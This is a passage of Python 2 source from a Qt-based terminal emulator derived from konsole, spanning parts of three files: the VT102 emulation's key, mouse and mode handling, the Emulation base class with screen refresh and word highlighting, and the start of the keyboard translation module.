780 string = ''.join([chr(c) for c in self._pbuf[i+1:-1]])
781 # arg=0 changes title and icon, arg=1 only icon, arg=2 only title
782 self.myemit('changeTitle', (arg, string))
783
784 # Obsolete stuff
785
786 def reportTerminalType(self):
787 if self.getMode(MODE_Ansi):
788 self.sendString("\033[?1;2c") # I'm a VT100
789 else:
790 self.sendString("\033/Z") # I'm a VT52
791
792 def reportSecondaryAttributes(self):
793 if self.getMode(MODE_Ansi):
794 self.sendString("\033[>0;115;0c") # Why 115 ?
795 else:
796 self.sendString("\033/Z") # I don't think VT52 knows about it...
797
798 def reportTerminalParams(self, p):
799 self.sendString("\033[%d;1;1;112;112;1;0x" % p) # Not really true
800
801 def reportStatus(self):
802 """VT100. Device status report. 0 = Ready"""
803 self.sendString("\033[0n")
804
805 def reportAnswerBack(self):
806 """ANSWER_BACK "" // This is really obsolete VT100 stuff."""
807 self.sendString(os.getenv("ANSWER_BACK", ''))
808
809 # Mouse Handling ##########################################################
810
811 def onMouse(self, cb, cx, cy):
812 """Mouse clicks are possibly reported to the client application if
813 it has issued interest in them.
814 They are normally consumed by the widget for copy and paste, but may
815 be propagated from the widget when gui->setMouseMarks is set via
816 setMode(MODE_Mouse1000).
817
818 `x',`y' are 1-based.
819 `ev' (event) indicates the button pressed (0-2)
820 or a general mouse release (3).
821 """
822 if self._connected:
823 self.sendString("\033[M%c%c%c" % (cb+040, cx+040, cy+040))
824
825 # Keyboard Handling #######################################################
826
827 def scrollLock(self, lock):
828 self._hold_screen = lock
829 if lock:
830 self.sendString("\023") # XOFF (^S)
831 else:
832 self.sendString("\021") # XON (^Q)
833
834 def _onScrollLock(self):
835 self.scrollLock(not self._hold_screen)
836
837 def onKeyPress(self, ev):
838 """char received from the gui"""
839 if not self._connected: # Someone else gets the keys
840 return
841 self.myemit("notifySessionState", (NOTIFYNORMAL,))
842 ev_state = ev.state()
843 try:
844 entry = self._key_trans.findEntry(ev.key(),
845 self.getMode(screen.MODE_NewLine),
846 self.getMode(MODE_Ansi),
847 self.getMode(MODE_AppCuKeys),
848 ev_state & ControlButton == ControlButton,
849 ev_state & ShiftButton == ShiftButton,
850 ev_state & AltButton == AltButton)
851 except kt.EntryNotFound:
852 cmd = kt.CMD_none # if it ends up here the key is skipped
853 else:
854 cmd = entry.cmd
855 if cmd == kt.CMD_emitClipboard: self._gui.emitSelection(False, False)
856 elif cmd == kt.CMD_emitSelection: self._gui.emitSelection(True, False)
857 elif cmd == kt.CMD_scrollPageUp: self._gui.doScroll(-self._gui.lines/2)
858 elif cmd == kt.CMD_scrollPageDown: self._gui.doScroll(+self._gui.lines/2)
859 elif cmd == kt.CMD_scrollLineUp: self._gui.doScroll(-1)
860 elif cmd == kt.CMD_scrollLineDown: self._gui.doScroll(+1)
861 elif cmd == kt.CMD_prevSession:
862 if qt.QApplication.reverseLayout():
863 self.myemit("nextSession")
864 else:
865 self.myemit("prevSession")
866 elif cmd == kt.CMD_nextSession:
867 if qt.QApplication.reverseLayout():
868 self.myemit("prevSession")
869 else:
870 self.myemit("nextSession")
871 elif cmd == kt.CMD_newSession: self.myemit("newSession")
872 elif cmd == kt.CMD_renameSession: self.myemit("renameSession")
873 elif cmd == kt.CMD_activateMenu: self.myemit("activateMenu")
874 elif cmd == kt.CMD_moveSessionLeft:
875 if qt.QApplication.reverseLayout():
876 self.myemit("moveSessionRight")
877 else:
878 self.myemit("moveSessionLeft")
879 elif cmd == kt.CMD_moveSessionRight:
880 if qt.QApplication.reverseLayout():
881 self.myemit("moveSessionLeft")
882 else:
883 self.myemit("moveSessionRight")
884 elif cmd == kt.CMD_scrollLock: self._onScrollLock()
885
886 # Revert to non-history when typing
887 if self._scr.hist_cursor != self._scr.getHistLines() and not ev.text().isEmpty() or \
888 ev.key() == qt.QEvent.Key_Down or ev.key() == qt.QEvent.Key_Up or \
889 ev.key() == qt.QEvent.Key_Left or ev.key() == qt.QEvent.Key_Right or \
890 ev.key() == qt.QEvent.Key_PageUp or ev.key() == qt.QEvent.Key_PageDown:
891 self._scr.hist_cursor = self._scr.getHistLines()
892
893 if cmd == kt.CMD_send:
894 #TODO: check whats up with the ALT escape... should we sendENTER too??
895 if ev_state & AltButton and not entry.metaspecified():
896 self.sendString("\033") # ESC this is the ALT prefix
897
898 s_input = entry.txt
899 api.devlog(">>>> CMD_send - s_input = %s" % s_input.encode("hex"))
900 # if ENTER key was pressed we call this to emit a signal to process
901 # user input
902 if ev.key() == qt.Qt.Key_Return or ev.key() == qt.Qt.Key_Enter:
903 new_input,old_input,old_len = self.sendENTER()
904 # if input was changed (this could be due to a plugin that processed
905 # the user input as a command and changed the options), we have to
906 # verify it and send it to the tty
907 if new_input is not None: # means something changed
908 self.sendString(new_input, True, old_len)
909
910 #api.devlog("Keypress:" + str(ev.key()) )
911 if ev.key() == 32:
912 self.sendCTRLSPACE()
913 elif ev.key() == 4114: #left
914 self.sendLEFT()
915 elif ev.key() == 4116: #right
916 self.sendRIGHT()
917 elif ev.key() == 4115: #up
918 self.sendUP()
919 elif ev.key() == 4117: #down
920 self.sendDOWN()
921
922
923 self.sendString(s_input)
924 return
925
926 # fall back handling
927 if not ev.text().isEmpty():
928 if ev_state & AltButton:
929 self.sendString("\033") # ESC this is the ALT prefix
930 s = self._codec.fromUnicode(ev.text()) # Encode for application
931 # FIXME: In Qt 2, QKeyEvent::text() would return "\003" for Ctrl-C etc.
932 # while in Qt 3 it returns the actual key ("c" or "C") which caused
933 # the ControlButton to be ignored. This hack seems to work for
934 # latin1 locales at least. Please anyone find a clean solution (malte)
935 if ev_state & ControlButton:
936 #print ev.ascii(), ev.key()
937 s.fill(chr(ev.ascii()), 1)
938 self.sendString(str(s))
939
940 # Charset related part of the emulation state #############################
941
942 def _applyCharset(self, c):
943 return self._charset[self._scr is self._screen[1]].applyCharset(c)
944
945 def _resetCharset(self, scrno):
946 self._charset[scrno].reset()
947
948 def _setCharset(self, n, cs):
949 self._charset[0].setCharset(n, cs)
950 self._charset[1].setCharset(n, cs)
951
952 def _setAndUseCharset(self, n, cs):
953 self._charset[self._scr is self._screen[1]].setCharset(n, cs)
954
955 def _useCharset(self, n):
956 self._charset[self._scr is self._screen[1]].useCharset(n)
957
958 def _saveCursor(self):
959 """save cursor position and rendition attribute _plugin_settings"""
960 self._charset[self._scr is self._screen[1]].save()
961 self._scr.saveCursor()
962
963 def _restoreCursor(self):
964 """restor cursor position and rendition attribute _plugin_settings"""
965 self._charset[self._scr is self._screen[1]].restore()
966 self._scr.restoreCursor()
967
968 # Mode Operations #########################################################
969 #
970 # Some of the emulations state is either added to the state of the screens.
971 #
972 # This causes some scoping problems, since different emulations choose to
973 # located the mode either to the current screen or to both.
974 #
975 # For strange reasons, the extend of the rendition attributes ranges over
976 # all screens and not over the actual screen.
977 #
978 # We decided on the precise precise extend, somehow.
979
980 def _resetModes(self):
981 """Mode related part of the state. These are all booleans."""
982 self.resetMode(MODE_Mouse1000)
983 self.saveMode(MODE_Mouse1000)
984 self.resetMode(MODE_AppScreen)
985 self.saveMode(MODE_AppScreen)
986 self.setMode(MODE_Ansi)
987 self._hold_screen = False
988 # Obsolete modes
989 self.resetMode(MODE_AppCuKeys)
990 self.saveMode(MODE_AppCuKeys)
991 self.resetMode(screen.MODE_NewLine)
992 # XXX those initialisations were missing from cpp code
993 self.resetMode(MODE_AppKeyPad)
994 self.resetMode(screen.MODE_Cursor)
995
996 def setMode(self, m):
997 self._curr_mode[m] = True
998 if m == MODE_Mouse1000:
999 self._gui.setMouseMarks(False)
1000 elif m == MODE_AppScreen:
1001 self._setScreen(1)
1002 if m < screen.MODES_SCREEN:
1003 self._screen[0].setMode(m)
1004 self._screen[1].setMode(m)
1005
1006 def resetMode(self, m):
1007 self._curr_mode[m] = False
1008 if m == MODE_Mouse1000:
1009 self._gui.setMouseMarks(True)
1010 elif m == MODE_AppScreen:
1011 self._setScreen(0)
1012 if m < screen.MODES_SCREEN:
1013 self._screen[0].resetMode(m)
1014 self._screen[1].resetMode(m)
1015
1016 def saveMode(self, m):
1017 self._save_mode[m] = self._curr_mode[m]
1018
1019 def restoreMode(self, m):
1020 if self._save_mode[m]:
1021 self.setMode(m)
1022 else:
1023 self.resetMode(m)
1024
1025 def getMode(self, m):
1026 return self._curr_mode[m]
1027
1028 def setConnect(self, c):
1029 super(EmuVt102, self).setConnect(c)
1030 if c:
1031 # Refresh mouse mode
1032 if self.getMode(MODE_Mouse1000):
1033 self.setMode(MODE_Mouse1000)
1034 else:
1035 self.resetMode(MODE_Mouse1000)
1036
1037 def _setMargins(self, t, b):
1038 self._screen[0].setMargins(t, b)
1039 self._screen[1].setMargins(t, b)
1040
1041 # private #################################################################
1042
1043 def _resetToken(self):
1044 self._pbuf = []
1045 self._argv = [0]
1046
1047 def _addDigit(self, dig):
1048 self._argv[-1] = 10*self._argv[-1] + dig
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Provide the Emulation class.
9
10 This class acts as the controler between the Screen class (Model) and
11 Widget class (View). As Widget uses Qt, Emulation also depends on Qt.
12 But it is very easy to use another toolkit.
13
14 A note on refreshing
15
16 Although the modifications to the current screen image could immediately
17 be propagated via `Widget' to the graphical surface, we have chosen
18 another way here.
19
20 The reason for doing so is twofold.
21
22 First, experiments show that directly displaying the operation results
23 in slowing down the overall performance of emulations. Displaying
24 individual characters using X11 creates a lot of overhead.
25
26 Second, by using the following refreshing method, the screen operations
27 can be completely separated from the displaying. This greatly simplifies
28 the programmer's task of coding and maintaining the screen operations,
29 since one need not worry about differential modifications on the
30 display affecting the operation of concern.
31
32 We use a refreshing algorithm here that has been adoped from rxvt/kvt.
33
34 By this, refreshing is driven by a timer, which is (re)started whenever
35 a new bunch of data to be interpreted by the emulation arives at `onRcvBlock'.
36 As soon as no more data arrive for `BULK_TIMEOUT' milliseconds, we trigger
37 refresh. This rule suits both bulk display operation as done by curses as
38 well as individual characters typed.
39 (BULK_TIMEOUT < 1000 / max characters received from keyboard per second).
40
41 Additionally, we trigger refreshing by newlines comming in to make visual
42 snapshots of lists as produced by `cat', `ls' and likely programs, thereby
43 producing the illusion of a permanent and immediate display operation.
44
45 As a sort of catch-all needed for cases where none of the above
46 conditions catch, the screen refresh is also triggered by a count
47 of incoming bulks (`bulk_incnt').
48
49 Based on the konsole code from Lars Doelle.
50
51 @author: Lars Doelle
52 @author: Benjamin Longuet
53 @author: Frederic Mantegazza
54 @author: Cyrille Boullier
55 @author: Sylvain Thenault
56 @copyright: 2003, 2005, 2006
57 @organization: CEA-Grenoble
58 @organization: Logilab
59 @license: CECILL
60 """
61
62 __revision__ = '$Id: emulation.py,v 1.25 2006-02-15 10:24:01 alf Exp $'
63
64 import qt
65 import shell.core.signalable as signalable
66 import keytrans
67 import re
68 from shell.core.screen import Screen
69 from model.common import TreeWordsTries
70 import model.api
71
72 NOTIFYNORMAL = 0
73 NOTIFYBELL = 1
74 NOTIFYACTIVITY = 2
75 NOTIFYSILENCE = 3
76
77 BULK_TIMEOUT = 20
78
79
80 class Emulation(signalable.Signalable, qt.QObject):
81 """This class acts as the controler between the Screen class (Model) and
82 Widget class (View). It's actually a common abstract base class for
83 different terminal implementations, and so should be subclassed.
84
85 It is responsible to scan the escapes sequences of the terminal
86 emulation and to map it to their corresponding semantic complements.
87 Thus this module knows mainly about decoding escapes sequences and
88 is a stateless device w.r.t. the semantics.
89
90 It is also responsible to refresh the Widget by certain rules.
91 """
92 def __init__(self, gui):
93 super(Emulation, self).__init__()
94 self._gui = gui
95 # 0 = primary, 1 = alternate
96 self._screen = [Screen(self._gui.lines, self._gui.columns),
97 Screen(self._gui.lines, self._gui.columns)]
98 self._scr = self._screen[0]
99 # communicate with widget
100 self._connected = False
101 # codec
102 self._codec = None
103 self._decoder = None
104 # key translator
105 self._key_trans = None
106 self.setKeymap(0)
107 # bulk handling
108 self._bulk_timer = qt.QTimer(self)
109 self._bulk_nl_cnt = 0 # bulk new line counter
110 self._bulk_in_cnt = 0 # bulk counter
111 self._bulk_timer.connect(self._bulk_timer, qt.SIGNAL("timeout()"),
112 self._showBulk)
113 gui.myconnect("changedImageSizeSignal", self.onImageSizeChange)
114 gui.myconnect("changedHistoryCursor", self.onHistoryCursorChange)
115 gui.myconnect("keyPressedSignal", self.onKeyPress)
116 gui.myconnect("beginSelectionSignal", self.onSelectionBegin)
117 gui.myconnect("extendSelectionSignal", self.onSelectionExtend)
118 gui.myconnect("endSelectionSignal", self.setSelection)
119 gui.myconnect("clearSelectionSignal", self.clearSelection)
120 gui.myconnect("isBusySelecting", self.isBusySelecting)
121 gui.myconnect("testIsSelected", self.testIsSelected)
122 gui.myconnect("onDoubleClickSignal", self.onDoubleClick)
123
124
125 self._lasted_highlighted = []
126
127 self.debug=0
128 self.history_h = []
129 self._save_last_cursor_pos = False
130 # pos 0 will be used for user input grabbing
131 # pos 1 will be used for process output grabbing
132 self._last_cu_x = [0, 0]
133 self._last_cu_y = [0, 0]
134
135 def __del__(self):
136 self._bulk_timer.stop()
137
138 def _setScreen(self, n):
139 """change between primary and alternate screen"""
140 old = self._scr
141 self._scr = self._screen[n]
142 if not self._scr is old:
143 self._scr.clearSelection()
144 old.busy_selecting = False
145
146 def setHistory(self, history_type):
147 self._screen[0].setScroll(history_type)
148 if self._connected:
149 self._showBulk()
150
151 def history(self):
152 return self._screen[0].getScroll()
153
154 def setKeymap(self, no):
155 self._key_trans = keytrans.find(no)
156
157 def keymap(self):
158 return self._key_trans
159
160
161 # Interpreting Codes
162 # This section deals with decoding the incoming character stream.
163 # Decoding means here, that the stream is first seperated into `tokens'
164 # which are then mapped to a `meaning' provided as operations by the
165 # `Screen' class.
166
167 def onRcvChar(self, c):
168 """process application unicode input to terminal"""
169 raise NotImplementedError()
170
171 def setMode(self):
172 raise NotImplementedError()
173
174 def resetMode(self):
175 raise NotImplementedError()
176
177 def sendString(self, string, clear_line = False, old_len=0):
178 if clear_line:
179 # we send backspace keys to delete the whole current output in the screen
180 # this way we are deleteing the current command in the screen to send the new one
181 backspace_amount = self.getCurrentOutputLen()
182 if backspace_amount:
183 #self.myemit("sndBlock", ("\010"*backspace_amount,))
184 #Fix: Error consola modificacion usign left arrow
185 self.myemit("sndBlock", ("\x1b\x5b\x43"*old_len,))
186 self.myemit("sndBlock", ("\010"*old_len,))
187
188
189 # now we send the new command
190 self.myemit("sndBlock", (string,))
191 # now we need to put an ENTER because the clear line happens when pressing that
192 string = "\r"
193 else:
194 self.myemit("sndBlock", (string,))
195
196 def sendENTER(self):
197 #XXX: this method will be changed with a reference to another method
198 # this is a nasty hack... we'd better change it...
199 pass
200 def sendCTRLSPACE(self):
201 #XXX: this method will be changed with a reference to another method
202 # this is a nasty hack... we'd better change it...
203 pass
204 def sendLEFT(self):
205 #XXX: this method will be changed with a reference to another method
206 # this is a nasty hack... we'd better change it...
207 pass
208 def sendRIGHT(self):
209 #XXX: this method will be changed with a reference to another method
210 # this is a nasty hack... we'd better change it...
211 pass
212 def sendUP(self):
213 #XXX: this method will be changed with a reference to another method
214 # this is a nasty hack... we'd better change it...
215 pass
216 def sendDOWN(self):
217 #XXX: this method will be changed with a reference to another method
218 # this is a nasty hack... we'd better change it...
219 pass
220
221 # Keyboard handling
222 def onKeyPress(self, ev):
223 """char received from the gui"""
224 raise NotImplementedError()
225
226 def onRcvBlock(self, block):
227 self.myemit("notifySessionState", (NOTIFYACTIVITY,))
228 self._bulkStart()
229 self._bulk_in_cnt += 1
230 for c in block:
231 result = self._decoder.toUnicode(c , 1)
232 for char in result:
233 self.onRcvChar(char.at(0).unicode())
234 if c == '\n':
235 self._bulkNewLine()
236 self._bulkEnd()
237
238
239
240 def __getImageLine(self, line_number):
241 image, wrapped = self._scr.getCookedImage() # Get the image
242 return "".join([c.c for c in image[line_number]])
243
244 def _getWordOnPosition(self, start_xy, end_xy):
245 start_x, start_y = start_xy
246 end_x, end_y = end_xy
247
248 line = self.__getImageLine(start_y)
249 if start_x > end_x:
250 word = line[start_x:]
251 else:
252 word = line[start_x:end_x+1]
253
254 return word
255
256
257 def onDoubleClick(self, start_word_xy, end_word_xy):
258 word = self._getWordOnPosition(start_word_xy, end_word_xy)
259 treeWordsTries = TreeWordsTries()
260 self._gui.select_on_tree( word )
261
262 def onSelectionBegin(self, x, y):
263 if self._connected:
264 self._scr.setSelBeginXY(x, y)
265 self._showBulk()
266
267 def onSelectionExtend(self, x, y):
268 if self._connected:
269 self._scr.setSelExtendXY(x, y)
270 self._showBulk()
271
272 def setSelection(self, preserve_line_break):
273 if self._connected:
274 text = self._scr.getSelText(preserve_line_break)
275 if text is not None:
276 self._gui.setSelection(text)
277
278 def isBusySelecting(self, busy):
279 if self._connected:
280 self._scr.busy_selecting = busy
281
282 def testIsSelected(self, x, y, ref):
283 if self._connected:
284 ref[0] = self._scr.testIsSelected(x, y)
285
286 def clearSelection(self):
287 if self._connected:
288 self._scr.clearSelection()
289 self._showBulk()
290
291 def setConnect(self, c):
292 self._connected = c
293 if self._connected:
294 self.onImageSizeChange(self._gui.lines, self._gui.columns)
295 self._showBulk()
296 else:
297 self._scr.clearSelection()
298
299 def onImageSizeChange(self, lines, columns):
300 """Triggered by image size change of the TEWidget `gui'.
301
302 This event is simply propagated to the attached screens
303 and to the related serial line.
304 """
305 if not self._connected:
306 return
307 #print 'emulation.onImageSizeChange', lines, columns
308 self._screen[0].resizeImage(lines, columns)
309 self._screen[1].resizeImage(lines, columns)
310 self._showBulk()
311 # Propagate event to serial line
312 self.myemit("imageSizeChanged", (lines, columns))
313
314 def onHistoryCursorChange(self, cursor):
315 if self._connected:
316 self._scr.hist_cursor = cursor
317 self._showBulk()
318
319 def _setCodec(self, c):
320 """coded number, 0=locale, 1=utf8"""
321 if c:
322 self._codec = qt.QTextCodec.codecForName("utf8")
323 else:
324 self._codec = qt.QTextCodec.codecForLocale()
325 self._decoder = self._codec.makeDecoder()
326
327 def _setColumns(self, columns):
328 # FIXME This goes strange ways
329 # Can we put this straight or explain it at least?
330 # XXX moreover no one is connected to this signal...
331 self.myemit("changeColumns", (columns,))
332
333 def _bulkNewLine(self):
334 self._bulk_nl_cnt += 1
335 self._bulk_in_cnt = 0 # Reset bulk counter since 'nl' rule applies
336
337 def dump_all_screen(self):
338 screen_lines = []
339 image, wrapped = self._scr.getCookedImage() # Get the image
340 self._gui.setLineWrapped(wrapped)
341 buf = self.getLastOutputFromScreenImage(1, get_full_content = True)
342 for y in xrange(self._scr.lines):
343 line = "".join([c.c for c in image[y]])
344 screen_lines.append(line)
345 return screen_lines
346
347 def _showBulk(self):
348 self._bulk_nl_cnt = 0
349 self._bulk_in_cnt = 0
350 found = False
351
352 GRAY_COLOR = 1
353 RED_COLOR = 3
354 treeWordsTries = TreeWordsTries()
355
356 if self._connected:
357 image, wrapped = self._scr.getCookedImage() # Get the image
358 self._gui.setLineWrapped(wrapped)
359
360 screen_lines = self.dump_all_screen()
361
362 for c, f in self._lasted_highlighted:
363 self._scr.setBackgroundColor(c, f, 0)
364
365
366 image, wrapped = self._scr.getCookedImage() # Get the image
367 self._gui.setLineWrapped(wrapped)
368
369 self._lasted_highlighted = []
370 for y_position in xrange(len(screen_lines)):
371 l = screen_lines[y_position]
372 c_letters = 0
373 for w in l.split(' '):
374 if not w:
375 c_letters += 1
376 continue
377
378 n_w, deleted_begin, deleted_end = self.__clean_word(w)
379 wordsFound = treeWordsTries.isInTries(n_w)
380
381 if wordsFound:
382 comienzo = [c_letters + deleted_begin, y_position]
383 fin = [c_letters + deleted_begin + len(n_w) -1, y_position]
384 self._lasted_highlighted.append((comienzo, fin))
385 self._scr.setBackgroundColor(comienzo, fin, RED_COLOR)
386
387 found = True
388 c_letters += len(w)+1
389
390
391 if found:
392 image, wrapped = self._scr.getCookedImage() # Get the image
393 self._gui.setLineWrapped(wrapped)
394
395 self._gui.setImage(image, self._scr.lines, self._scr.columns) # Actual refresh
396 self._gui.setCursorPos(self._scr.getCursorX(), self._scr.getCursorY())
397 # FIXME: Check that we do not trigger other draw event here
398
399 self._gui.setScroll(self._scr.hist_cursor, self._scr.getHistLines())
400 #print "about to emit processOutput signal inside _showBulk"
401 #buf = self.getLastOutputFromScreenImage(1)
402 #print "buf = ", buf
403 #self.myemit('processOutput', (buf,)) # signal to pass it to plugins
404 self.updateLastCursorPos()
405 self.updateLastCursorPos(True, 1)
406
407 #self._last_cu_x = [self._scr.getCursorX(), self._scr.getCursorX()]
408 #self._last_cu_y = [self._scr.getCursorY(),self._scr.getCursorY()]
409
410
411 def __remove_chars(self, w, chars):
412 idx = 0
413 for c in w:
414 if c in chars:
415 idx += 1
416 continue
417
418 break
419 #print "REMOVE CHARS: ", w[idx:]
420 return w[idx:], idx
421
422
423 def __clean_word(self, w):
424 """
425 Clean some puntuation simbol staring or ending the word.
426 return word, begin offset, end offset
427 """
428 import string
429 VALID_PUNCTUATION = '_'
430 to_remove = string.punctuation
431
432 #remove the valid punctuation from the invalid punctuacion list
433 for v in VALID_PUNCTUATION:
434 to_remove = to_remove.replace(v, "")
435
436 original_word = w
437
438 w, deleted_from_begin = self.__remove_chars(w, to_remove)
439 w, deleted_from_end = self.__remove_chars(w[::-1], to_remove)
440
441
442 return w[::-1], deleted_from_begin, deleted_from_end
443
444 def _bulkStart(self):
445 if self._bulk_timer.isActive():
446 self._bulk_timer.stop()
447
448 def _bulkEnd(self):
449 if self._bulk_nl_cnt > self._gui.lines or self._bulk_in_cnt > 20:
450 self._showBulk()
451 else:
452 self._bulk_timer.start(BULK_TIMEOUT, True)
453
454 def getCurrentOutputLen(self):
455 """
456 This method return the length of the current output in the screen.
457 This can be used to determine how long a current command typed by
458 the user is and then exactly delete it.
459 """
460 width = self._gui.columns
461 cu_x = self._scr.getCursorX()
462 cu_y = self._scr.getCursorY()
463 return width * (cu_y-self._last_cu_y[0]) + cu_x
464
465 def getLastOutputFromScreenImage(self, index=0, get_full_content=False, get_spaces=False):
466 """
467 Gets the text from the screen image that is located from
468 last cursor x,y value to the actual cursor x,y value
469 Last cursor coordinates are updated in _showBulk method that
470 shows the process output
471 The parameter "index" is used to determine if the output is retrieved
472 as if it was user input (index=0) or process output (index=1).
473 If get_full_content flag is True we don't get the last line only up to the
474 current x position but the complete line.
475 """
476 # image is a matrix with Ca (characters) for each x,y coordinate in the screen
477 image, wrapped = self._scr.getCookedImage() # Get the image
478 cu_x = self._scr.getCursorX()
479 cu_y = self._scr.getCursorY()
480
481
482 #print "getLastOutputFromScreenImage - len(image) = %d - len(wrapped) = %d" % (len(image), len(wrapped))
483 #print "getLastOutputFromScreenImage - index = %d - cu_x = %d - cu_y = %d - last_x = %d - last_y = %d" %\
484 #(index, cu_x, cu_y, self._last_cu_x[index], self._last_cu_y[index])
485
486 #self.__debug_dump_screen()
487 #self.__debug_dump_screen(1)
488
489 # TODO: check how to handle scrolling if the current cu_y is less than the saved cu_y
490 # TODO: another problem could be that the current y position is not the real "last line"
491 # of the user input. If ENTER is pressed and the current y is not the last line the shell
492 # will be getting the complete user input but this method won't be getting the same
493 lines = []
494 # there is a special case where last_cu_y could be greater than cu_y and in such cases we must
495 # swap values to get the text correctly
496 if self._last_cu_y[index] > cu_y: # swap values
497 self._last_cu_y[index], cu_y = cu_y, self._last_cu_y[index]
498 elif self._last_cu_y[index] == cu_y:
499 # if these values are the same we need to check if the previous line is wrapped
500 # and take that line too. So we go backwards checking for wrapped lines and update
501 # the value of the last_cu_y to the smallest wrapped line
502 for y in xrange(cu_y-1, -1, -1):
503 if wrapped[y]:
504 self._last_cu_y[index] = y
505 else:
506 break # if we find a line that is now wrapped we just stop searching
507
508 for y in xrange(self._last_cu_y[index], cu_y+1):
509 #XXX: this code here is commented because it was used to skip the prompt
510 #if y == self._last_cu_y[index]:
511 # line = "".join([c.c for c in image[y][self._last_cu_x[index]:]])
512 if y == cu_y and not get_full_content:
513 # this means that the line que are processing is the current line so we
514 # get everything until the current x position.
515 line = "".join([c.c for c in image[y][:cu_x]])
516 else:
517 line = "".join([c.c for c in image[y]])
518
519 if index:
520 line = line.rstrip()
521
522 lines.append(line)
523
524 join_char = "\n" if index else ""
525 result = join_char.join(lines)
526 if get_spaces:
527 return result
528 else:
529 return result.strip()
530
531 def updateLastCursorPos(self, flag=False, index=0):
532 if self._save_last_cursor_pos or index:
533 # print "updateLastCursorPos - saving last cursor pos with index ", index
534 # print "updateLastCursorPos - (BEFORE) last x = %d - last y = %d" % (self._last_cu_x[index], self._last_cu_y[index])
535 self._last_cu_x[index] = self._scr.getCursorX()
536 self._last_cu_y[index] = self._scr.getCursorY()
537 self._save_last_cursor_pos = False
538 # print "updateLastCursorPos - (AFTER) last x = %d - last y = %d" % (self._last_cu_x[index], self._last_cu_y[index])
539 if not index:
540 self._save_last_cursor_pos = flag
541
542 def __debug_dump_screen(self, index=0):
543 image, wrapped = self._scr.getCookedImage() # Get the image
544
545 model.api.devlog("-"*10, " image[%d] " % index, "-"*10)
546
547 for y in xrange(len(image)):
548 line = "".join([c.c for c in image[y]])
549 model.api.devlog("%d | %s |" % (y, line))
550
551 model.api.devlog("-"*30)
552 model.api.devlog("")
553 model.api.devlog("-"*10, " wrapped[%d] " % index, "-"*10)
554
555 for y in xrange(len(image)):
556 #line = "".join([c.c for c in wrapped[y]])
557 model.api.devlog("%d | %s |" % (y, wrapped[y]))
558
559 model.api.devlog("-"*30)
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Provide the KeyTrans class.
9
10 The keyboard translation table allows to configure pyonsoles behavior
11 on key strokes.
12 FIXME: some bug crept in, disallowing '\0' to be emitted.
13
14 Based on the konsole code from Lars Doelle.
15
16 @author: Lars Doelle
17 @author: Sylvain Thenault
18 @copyright: 2003, 2005, 2006
19 @organization: Logilab
20 @license: CECILL
21 """
22
23 __revision__ = '$Id: keytrans.py,v 1.15 2006-02-15 10:24:01 alf Exp $'
24
25
26 import re
27 import sys
28 from os.path import basename, dirname, splitext, join, isfile
29 import os
30 import qt
31 #TODO: check all these paths!!
32 for _path in [dirname(__file__),
33 join(sys.exec_prefix, 'share/pyqonsole'),
34 join(dirname(__file__), "../../../../share/pyqonsole"),
35 join(dirname(__file__), "../../../share/pyqonsole/ "),
36 os.environ.get('PYQONSOLE_KEYTAB_DIR', './'),
37 ]:
38 DEFAULT_KEYTAB_FILE = join(_path, 'default.keytab')
39 if isfile(DEFAULT_KEYTAB_FILE):
40 break
41 else:
42 raise ValueError("Unable to find default.keytab."
43 "Set the PYQONSOLE_KEYTAB_DIR environment variable.")
44 del _path
45
46 BITS_NewLine = 0
47 BITS_BsHack = 1
48 BITS_Ansi = 2
49 BITS_AppCuKeys = 3
50 BITS_Control = 4
51 BITS_Shift = 5
52 BITS_Alt = 6
53 BITS_COUNT = 7
54
55 def encodeModes(newline, ansi, appcukeys):
56 return newline + (ansi << BITS_Ansi) + (appcukeys << BITS_AppCuKeys)
57
58 def encodeButtons(control, shift, alt):
59 return (control << BITS_Control) + (shift << BITS_Shift) + (alt << BITS_Alt)
60
61 CMD_none = -1
62 CMD_send = 0
63 CMD_emitSelection = 1
64 CMD_scrollPageUp = 2
65 CMD_scrollPageDown = 3
66 CMD_scrollLineUp = 4
67 CMD_scrollLineDown = 5
68 CMD_prevSession = 6
69 CMD_nextSession = 7
70 CMD_newSession = 8
71 CMD_activateMenu = 9
72 CMD_moveSessionLeft = 10
73 CMD_moveSessionRight = 11
74 CMD_scrollLock = 12
75 CMD_emitClipboard = 13
76 CMD_renameSession = 14
77
78 _KEYMAPS = {}
79
80 def loadAll():
81 kt = KeyTrans()
82 kt.addKeyTrans()
83 # XXX load other keytab files ?
84
85 def find(ktid=0):
86 if isinstance(ktid, int):
87 try:
88 return _KEYMAPS[ktid]
89 except KeyError:
90 pass
91 for kt in _KEYMAPS.values():
92 if kt.id == ktid:
93 return kt
94 return _KEYMAPS[0]
95
96 def count():
97 return len(_KEYMAPS)
98
99 class EntryNotFound(Exception): pass
100
101 class KeyEntry:
102 """instances represent the individual assignments"""
103 def __init__(self, ref, key, bits, mask, cmd, txt):
104 self.ref = ref
105 self.key = key
106 self.bits = bits
107 self.mask = mask
108 self.cmd = cmd
109 self.txt = txt
110
111 def matches(self, key, bits, mask):
112 m = self.mask & mask
113 return key == self.key and (self.bits & m) == (bits & m)
114
115 def metaspecified(self):
116 return (self.mask & (1 << BITS_Alt)) and (self.bits & (1 << BITS_Alt))
117
118
119 class KeyTrans:
120 """combines the individual assignments to a proper map
121 Takes part in a collection themself.
122 """
123
124 def __init__(self, path='[builtin]'):
125 self._hdr = ''
126 self.num = 0
127 self.path = path
128 if path == '[builtin]':
129 self.id = 'default'
130 else:
131 self.id = splitext(basename(path))[0]
132 self._file_read = False
133 self._table = []
134
135 def addKeyTrans(self):
136 """XXX why is this here ??"""
137 self.num = count()
138 _KEYMAPS[self.num] = self
139
140 def readConfig(self):
141 if self._file_read:
142 return
143 self._file_read = True
144 if self.path == '[builtin]':
145 buf = open(DEFAULT_KEYTAB_FILE)
146 else:
147 buf = open(self.path)
148 ktr = KeytabReader(self.path, buf)
149 ktr.parseTo(self)
150
